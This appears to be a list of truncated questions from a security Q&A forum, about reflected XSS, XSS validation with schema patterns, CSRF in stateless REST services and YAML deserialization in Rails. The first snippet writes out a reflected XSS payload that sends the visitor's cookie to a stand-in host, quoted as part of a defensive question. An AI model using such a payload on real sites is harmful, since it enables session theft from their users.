I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
A RESTful service is currently protected against XSS attacks by applying XML schema- and entity validation. In both cases this is done via a regular expression like: <xs:pattern ...
Am I right If I claim on that there doesn't exist any reliable protection against CSRF for a stateles environment today? I have a RESTful service (build with RESTEasy) that needs to be secured against ...
I've recently read that YAML was not "designed to handle malicious user input", because a malicious YAML input "can create instances of all classes defined in the targeted Rails application". ...